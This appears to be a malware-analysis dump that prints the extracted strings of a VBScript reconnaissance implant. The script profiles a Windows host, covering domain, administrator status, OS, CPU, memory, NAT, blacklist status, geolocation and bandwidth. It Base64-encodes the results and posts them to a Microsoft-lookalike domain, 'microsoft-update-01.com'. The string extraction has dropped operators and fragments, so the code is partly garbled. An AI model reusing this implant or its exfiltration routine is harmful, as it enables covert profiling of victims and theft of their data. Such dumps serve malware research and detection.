Malware Hunting - 06-10-2016

ASCII Strings:
=====================
' output json
RESULT = "
 vbCrLf
' debug init
server_ip = "0.0.0.0"
user_name = "unknow_user"
if Wscript.Arguments.Count > 0 then
server_ip = WScript.Arguments(0)
user_name = WScript.Arguments(1)
end if
RESULT = RESULT
 vbTab
 """address"" : """
 server_ip
 ""","
 vbCrLf
RESULT = RESULT
 vbTab
 """user_name"" : """
 user_name
 ""","
 vbCrLf
if Wscript.Arguments.Count >= 3 then
stage = WScript.Arguments(2)
Set objFSO = Createobject("Scripting.FileSystemObject")
Set file = objFSO.OpenTextFile("out.txt", 1)
content = file.ReadAll
RESULT = RESULT
 content
 vbCrLf
RESULT = RESULT
 vbTab
 """stage"" : 3"
 vbCrLf
RESULT = RESULT
 vbCrLf
WScript.Echo RESULT
data = Base64Encode(RESULT)
answer = WinHTTPPostRequest_10times("http://microsoft-update-01.com/mmrdp/set_info.php", "data="
 data)
WScript.Quit
end if
' get domain
Set wshShell = CreateObject( "WScript.Shell" )
strUserDomain = wshShell.ExpandEnvironmentStrings( "%USERDOMAIN%" )
RESULT = RESULT
 vbTab
 """domain"" : """
 strUserDomain
 ""","
 vbCrLf
' get admin
Sub GetUserFromSID(BYVAL strSID, BYVAL objWMI, BYREF strUserName, BYREF strDomainName)
Dim objSID : Set objSID = objWMI.Get("Win32_SID='"
 strSID
    strUserName = objSID.AccountName
    strDomainName = objSID.ReferencedDomainName
    On Error Goto 0
    If strDomainName = "NT AUTHORITY" Then strDomainName = GetHostname() 'so it matches active user queries
End Sub
Sub IsAdmin(BYREF is_admin)
On Error Resume Next
' check admin privs
Dim objWMI : Set objWMI = GetObject("winmgmts:")
If Err.Number <> 0 Then
is_admin = "false"
Err.Clear
Exit Sub
End If
admin_un = ""
domain_un = ""
sid = "S-1-5-32-544" ' local admins group
GetUserFromSID sid, objWMI, admin_un, domain_un
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
strUser = objNetwork.UserName
isAdministrator = "false"
Set objGroup = GetObject("WinNT://"
 strComputer
 admin_un
 ",group")
For Each objUser in objGroup.Members
rem WScript.Echo objUser.Name
If lcase(objUser.Name) = lcase(strUser) Then
isAdministrator = "true"
End If
if lcase(objUser.class) = "group" then
rem WScript.Echo objUser.Name
 " - group"
Set objGroup_g = GetObject("WinNT://"
 strUserDomain
 objUser.Name
 ",group")
For Each objUser_g in objGroup_g.Members
rem WScript.Echo ">"
 objUser_g.Name
If lcase(objUser_g.Name) = lcase(strUser) Then
isAdministrator = "true"
End If
end if
End Sub
isAdministrator = "false"
IsAdmin isAdministrator
RESULT = RESULT
 vbTab
 """is_administrator"" : "
 isAdministrator
 vbCrLf
Version = wshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
RESULT = RESULT
 vbTab
 """os_version"" : """
 Version
 ""","
 vbCrLf
Dim WshProcEnv
Dim system_architecture
Dim process_architecture
Set WshProcEnv = wshShell.Environment("Process")
process_architecture= WshProcEnv("PROCESSOR_ARCHITECTURE")
If process_architecture = "x86" Then
    system_architecture= WshProcEnv("PROCESSOR_ARCHITEW6432")
    If system_architecture = ""  Then
        system_architecture = "x86"
    End if
Else
    system_architecture = process_architecture
End If
RESULT = RESULT
 vbTab
 """os_arch"" : """
 system_architecture
 ""","
 vbCrLf
'//////////////////////////////////////////////////////////////////////////////
server_ip_components = Split(server_ip, ".")
server_ip_reversed = ""
For i = 0 to UBound(server_ip_components)
If i <> 0 Then
        server_ip_reversed =  "."
 server_ip_reversed
    End If
server_ip_reversed =  server_ip_components(i)
 server_ip_reversed
function dns_is_resolved(dns_name)
Set objFSO = CreateObject("Scripting.FileSystemObject")
strComputer = dns_name
dns_is_resolved = "false"
Set objPing = GetObject("winmgmts:
impersonationLevel=impersonate
").ExecQuery("select Replysize from Win32_PingStatus where address = '"
 strComputer
For Each objStatus In objPing
If IsNull(objStatus.ReplySize) Then
dns_is_resolved = "false"
dns_is_resolved = "true"
end if
exit for
end function
sub check_spam_list_and_store(list_name, name_postfix)
spam_list_name = list_name
spam_list_value = dns_is_resolved(server_ip_reversed
 name_postfix)
RESULT = RESULT
 vbTab
 vbTab
 """"
 spam_list_name
 """ : "
 spam_list_value
 vbCrLf
end sub
sub check_spam_lists()
RESULT = RESULT
 vbTab
 """spam_data"" :"
 vbCrLf
RESULT = RESULT
 vbTab
 vbCrLf
check_spam_list_and_store "Spamhaus SBL", ".sbl.spamhaus.org"
check_spam_list_and_store "Spamhaus PBL", ".pbl.spamhaus.org"
check_spam_list_and_store "Sorbs.net", ".dnsbl.sorbs.net"
check_spam_list_and_store "Spamcop", ".bl.spamcop.net"
check_spam_list_and_store "South Korean NBL", ".korea.services.net"
check_spam_list_and_store "Barracuda BBL", ".b.barracudacentral.org"
RESULT = RESULT
 vbTab
 vbTab
 """terminator"" : 0"
 vbCrLf
RESULT = RESULT
 vbTab
 vbCrLf
end sub
'//////////////////////////////////////////////////////////////////////////////
Function getWMIInfo()
On Error Resume Next
check_spam_lists()
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
if objWMIService then
WScript.Echo "wmi is work"
RESULT = RESULT
 vbTab
 """use_wmi"" : true,"
 vbCrLf
WScript.Echo "wmi is not work"
RESULT = RESULT
 vbTab
 """use_wmi"" : false,"
 vbCrLf
exit Function
end if
Set colCompSysItems = objWMIService.ExecQuery("SELECT
 FROM Win32_ComputerSystem",,48)
For Each objCompSysItem in colCompSysItems
TotalMemory = objCompSysItem.TotalPhysicalMemory 'FormatNumber(objCompSysItem.TotalPhysicalMemory / 1024
 3, 2)
RESULT = RESULT
 vbTab
 """memory"" : "
 Replace(TotalMemory, ",", ".")
 vbCrLf
Exit For
objProcItem_Name = ""
objProcItem_Count = 0
objProcItem_NumberOfCores = 0
CPUArch = ""
Set colProcItems = objWMIService.ExecQuery( "SELECT
 FROM Win32_Processor",,48)
For Each objProcItem in colProcItems
objProcItem_Name = objProcItem.Name
objProcItem_NumberOfCores = objProcItem.NumberOfCores
objProcItem_Count = objProcItem_Count
Select Case objProcItem.Architecture
Case 0 CPUArch = "x86"
Case 1 CPUArch = "MIPS"
Case 2 CPUArch = "Alpha"
Case 3 CPUArch = "PowerPC"
Case 6 CPUArch = "Itanium"
Case 9 CPUArch = "x64"
Case Else
CPUArch = "Could Not Determine CPU Architecture"
End Select
RESULT = RESULT
 vbTab
 """cpu"" : """
 objProcItem_Name
 " ("
 CPUArch
 ") "
 objProcItem_Count
 objProcItem_NumberOfCores
 " cores"
 ""","
 vbCrLf
Set colNetAdapConfigItems = objWMIService.ExecQuery("SELECT
 FROM Win32_NetworkAdapterConfiguration",,48)
'RESULT = RESULT
 vbTab
 """local_ip_addresses"" :"
 vbCrLf
'RESULT = RESULT
 vbTab
 vbCrLf
is_nat = "true"
For Each objNetAdapConfigItem in colNetAdapConfigItems
If isNull(objNetAdapConfigItem.IPAddress) Then
'// Skip adapter, not currently used
For Each ip_address in objNetAdapConfigItem.IPAddress
if ip_address = server_ip then
is_nat = "false"
end if
'RESULT = RESULT
 vbTab
 vbTab
""ip_address"" : """
 ip_address
 vbCrLf
End If
'RESULT = RESULT
 vbTab
 vbCrLf
RESULT = RESULT
 vbTab
 """is_nat"" : "
 is_nat
 vbCrLf
Set colOperatingSystems = objWMIService.ExecQuery("Select
 from Win32_OperatingSystem")
    For Each objOS in colOperatingSystems
        dtmBootup = objOS.LastBootUpTime
dtmLastBootupTime = CDate(Mid(dtmBootup, 5, 2)
 Mid(dtmBootup, 7, 2)
 Left(dtmBootup, 4)
 Mid (dtmBootup, 9, 2)
 Mid(dtmBootup, 11, 2)
 Mid(dtmBootup,13, 2))
RESULT = RESULT
 vbTab
 """boot_time"" : """
 dtmLastBootupTime
 ""","
 vbCrLf
    Next
End Function
getWMIInfo()
RESULT = RESULT
 vbTab
 """check_time"" : """
 ""","
 vbCrLf
geo_data = """undefined"""
function get_mid_strings(string_, part_pre, part_post)
position_from = InStr(string_, part_pre)
if position_from = 0 then
get_mid_strings = ""
end if
position_from = position_from
 len(part_pre)
'WScript.Echo position_from
position_to = InStr(position_from, string_, part_post)
'WScript.Echo position_to
data = Mid(string_, position_from, position_to - position_from)
'WScript.Echo data
get_mid_strings = data
end function
function my_get_all_substrings(string_, part_pre, part_post)
offset = 1
result_strings = array()
Do while true
position_from = InStr(offset, string_, part_pre)
if position_from = 0 then
exit do
'get_mid_strings = 0
end if
position_from = position_from'
 len(part_pre)
'WScript.Echo position_from
position_to = InStr(position_from, string_, part_post)
'WScript.Echo string_
'WScript.Echo position_to
data = Mid(string_, position_from, position_to - position_from
 len(part_post))
'WScript.Echo data
ReDim Preserve result_strings(UBound(result_strings)
result_strings(UBound(result_strings)) = data
offset = position_to
my_get_all_substrings = result_strings
end function
'//////////////////////////////////////////////////////////////////////////////
RESULT = RESULT
 vbTab
 """geo_data"" :"
 vbCrLf
RESULT = RESULT
 vbTab
 vbCrLf
geo_data = WinHTTPGetRequest_10times("http://ip-score.com/checkip/"
 server_ip)
'WScript.Echo geo_data
part_pre = "<div id=""MaxMind"">"
part_post = "</div>"
geo_part = get_mid_strings(geo_data, part_pre, part_post)
part_pre_line = "<p><em>"
part_post_line = "</p>"
parts = my_get_all_substrings(geo_part, part_pre_line, part_post_line)
first_key = "Country"
first_value = trim(get_mid_strings(parts(0), """>", "</p>"))
RESULT = RESULT
 vbTab
 vbTab
 """"
 first_key
 """ : """
 first_value
 ""","
 vbCrLf
is_first = true
for Each part in parts
if is_first then
is_first = false
'WScript.Echo part
key = trim(get_mid_strings(part, "<em>", ":<"))
'WScript.Echo key
value = trim(get_mid_strings(part, "</em> ", "<"))
value = Replace(value, ",", "")
value = Replace(value, "\", "/")
value = Replace(value, "'", "")
'WScript.Echo value
RESULT = RESULT
 vbTab
 vbTab
 """"
 """ : """
 value
 ""","
 vbCrLf
end if
RESULT = RESULT
 vbTab
 vbTab
 """source"" : ""ip-score.com"""
 vbCrLf
RESULT = RESULT
 vbTab
 vbCrLf
'//////////////////////////////////////////////////////////////////////////////
WScript.Echo "download test start"
randomize
postfix = int(rnd
 1000000)
pre_t = Timer
'WScript.Echo  pre_t
download_file("http://uk.download.nvidia.com/freebsd/173.14.39/NVIDIA-FreeBSD-x86-173.14.39.tar.gz"
 postfix)
d_t = Timer - pre_t
'WScript.Echo  Timer
'WScript.Echo d_t
download_speed = 20038266 / CDbl(d_t) '/ 1024 / 1024
'WScript.Echo download_speed
RESULT = RESULT
 vbTab
 """download_speed"" : "
 int(download_speed)
 vbCrLf
WScript.Echo "download test stop"
'//////////////////////////////////////////////////////////////////////////////////////////////////
WScript.Echo "upload test start"
CreateFile
pre_t = Timer
'WScript.Echo  pre_t
er = upload_file_("http://posttestserver.com/post.php", "tempfile.txt")
d_t = Timer - pre_t
'WScript.Echo  Timer
'WScript.Echo d_t
upload_speed = 2149548  / CDbl(d_t) '/ 1024 / 1024
'WScript.Echo download_speed
RESULT = RESULT
 vbTab
 """upload_speed"" : "
 int(upload_speed)
 vbCrLf
WScript.Echo "upload test stop"
'//////////////////////////////////////////////////////////////////////////////////////////////////
Sub CreateFile()
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("tempfile.txt", True)
for n = 1 to 1024
 1024
 2 / 40
'postfix = int(CInt("0")
 (CInt("9") - CInt("0")))
tf.Write( "0123456789qwertyuiop[]asdfghjkl
'\zxcvbxn")
tf.Close
End Sub
function download_file(url)
' Set your settings
strFileURL = url
REM strHDLocation = ""
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.SetRequestHeader "Cache-Control", "no-store, no-cache"
    objXMLHTTP.SetRequestHeader "Pragma", "no-cache"
objXMLHTTP.SetRequestHeader "Content-Encoding", "identity"
objXMLHTTP.send()
Do While objXMLHTTP.readyState <> 4
DoEvents
    Loop
If objXMLHTTP.Status = 200 Then
REM Set objADOStream = CreateObject("ADODB.Stream")
REM objADOStream.Open
REM objADOStream.Type = 1 'adTypeBinary
REM objADOStream.Write objXMLHTTP.ResponseBody
REM objADOStream.Position = 0    'Set the stream position to the start
REM Set objFSO = Createobject("Scripting.FileSystemObject")
REM strHDLocation = objFSO.GetFileName(strFileURL)
REM If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
REM Set objFSO = Nothing
REM objADOStream.SaveToFile strHDLocation
REM objADOStream.Close
REM Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
end function
function upload_file_(url, filename)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
objStream.Open
objStream.LoadFromFile filename
sData = objStream.Read 'read binary'
objStream.Close
Set objStream = Nothing
dim xmlhttp
set xmlhttp = createobject("MSXML2.XMLHTTP.3.0")
strURL = url
 filename
xmlhttp.Open "POST", strURL, false
xmlhttp.SetRequestHeader "Cache-Control", "no-store, no-cache"
    xmlhttp.SetRequestHeader "Pragma", "no-cache"
xmlhttp.SetRequestHeader "Content-Encoding", "identity"
xmlhttp.Send sData
set xmlhttp = Nothing
End function
function http_post_10times(URL, FormData)
On Error Resume Next
end function
function WinHTTPPostRequest_10times(URL, FormData)
for i = 1 to 10
rv = WinHTTPPostRequest(URL, FormData)
if rv <> "" then
WScript.Echo "WinHTTPPostRequest try "
 " success"
WinHTTPPostRequest_10times = rv
exit function
end if
WScript.Echo "WinHTTPPostRequest try "
 " error"
end function
'sends multipart/form-data To the URL using WinHttprequest/XMLHTTP
'FormData - binary (VT_UI1
 VT_ARRAY) multipart form data
Function WinHTTPPostRequest(URL, FormData)
On Error Resume Next
WinHTTPPostRequest = ""
Dim http 'As New MSXML2.XMLHTTP
'Create XMLHTTP/ServerXMLHTTP/WinHttprequest object
'You can use any of these three objects.
'Set http = CreateObject("WinHttp.WinHttprequest.5")
Set http = CreateObject("MSXML2.XMLHTTP")
'Set http = CreateObject("MSXML2.ServerXMLHTTP")
'Open URL As POST request
http.Open "POST", URL, False
'Set Content-Type header
http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
http.setRequestHeader "Content-Length", Len(FormData)
'Send the form data To URL As POST binary request
http.send FormData
If Err.Number <> 0 Then
WScript.Echo Err.Number
 " Srce: "
 Err.Source
 " Desc: "
  Err.Description
Err.Clear
exit function
End If
'Get a result of the script which has received upload
WinHTTPPostRequest = http.responseText
End Function
function WinHTTPGetRequest_10times(URL)
for i = 1 to 10
'WScript.Echo "pre step"
rv = WinHTTPGetRequest(URL)
'WScript.Echo "return"
if rv <> "" then
WScript.Echo "WinHTTPGetRequest try "
 " success"
WinHTTPGetRequest_10times = rv
exit function
end if
WScript.Echo "WinHTTPGetRequest try "
 " error"
end function
Function WinHTTPGetRequest(URL)
On Error Resume Next
WinHTTPGetRequest = ""
Dim http 'As New MSXML2.XMLHTTP
'Create XMLHTTP/ServerXMLHTTP/WinHttprequest object
'You can use any of these three objects.
'Set http = CreateObject("WinHttp.WinHttprequest.5")
Set http = CreateObject("MSXML2.XMLHTTP")
'Set http = CreateObject("MSXML2.ServerXMLHTTP")
'Open URL As POST request
http.Open "GET", URL, False
'Set Content-Type header
'http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
'http.setRequestHeader "Content-Length", Len(FormData)
http.send
If Err.Number <> 0 Then
WScript.Echo Err.Number
 " Srce: "
 Err.Source
 " Desc: "
  Err.Description
Err.Clear
exit function
End If
'Get a result of the script which has received upload
WinHTTPGetRequest = http.responseText
End Function
RESULT = RESULT
 vbTab
 """stage"" : 2"
 vbCrLf
RESULT = RESULT
 vbCrLf
WScript.Echo RESULT
data = Base64Encode(RESULT)
Function Base64Encode(sText)
    Dim oXML, oNode
    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.nodeTypedValue =Stream_StringToBinary(sText)
    Base64Encode = oNode.text
    Set oNode = Nothing
    Set oXML = Nothing
End Function
Function Base64Decode(ByVal vCode)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
Set oNode = Nothing
Set oXML = Nothing
End Function
'Stream_StringToBinary Function
'2003 Antonin Foller, http://www.motobit.com
'Text - string parameter To convert To binary data
Function Stream_StringToBinary(Text)
Const adTypeText = 2
Const adTypeBinary = 1
'Create Stream object
Dim BinaryStream 'As New Stream
Set BinaryStream = CreateObject("ADODB.Stream")
'Specify stream type - we want To save text/string data.
BinaryStream.Type = adTypeText
'Specify charset For the source text (unicode) data.
BinaryStream.CharSet = "Windows-1251"
'Open the stream And write text/string data To the object
BinaryStream.Open
BinaryStream.WriteText Text
'Change stream type To binary
BinaryStream.Position = 0
BinaryStream.Type = adTypeBinary
'Ignore first two bytes - sign of
BinaryStream.Position = 0
'Open the stream And get binary data from the object
Stream_StringToBinary = BinaryStream.Read
Set BinaryStream = Nothing
End Function
'Stream_BinaryToString Function
'2003 Antonin Foller, http://www.motobit.com
'Binary - VT_UI1
 VT_ARRAY data To convert To a string
Function Stream_BinaryToString(Binary)
Const adTypeText = 2
Const adTypeBinary = 1
'Create Stream object
Dim BinaryStream 'As New Stream
Set BinaryStream = CreateObject("ADODB.Stream")
'Specify stream type - we want To save binary data.
BinaryStream.Type = adTypeBinary
'Open the stream And write binary data To the object
BinaryStream.Open
BinaryStream.Write Binary
'Change stream type To text/string
BinaryStream.Position = 0
BinaryStream.Type = adTypeText
'Specify charset For the output text (unicode) data.
BinaryStream.CharSet = "Windows-1251"
'Open the stream And get text/string data from the object
Stream_BinaryToString = BinaryStream.ReadText
Set BinaryStream = Nothing
End Function
answer = WinHTTPPostRequest_10times("http://microsoft-update-01.com/mmrdp/set_info.php", "data="
 data)
REM WScript.Echo answer
REM outFile = "test.txt"
REM Set objFSO = Createobject("Scripting.FileSystemObject")
REM Set objFile = objFSO.CreateTextFile(outFile, True)
REM objFile.Write answer
REM objFile.Close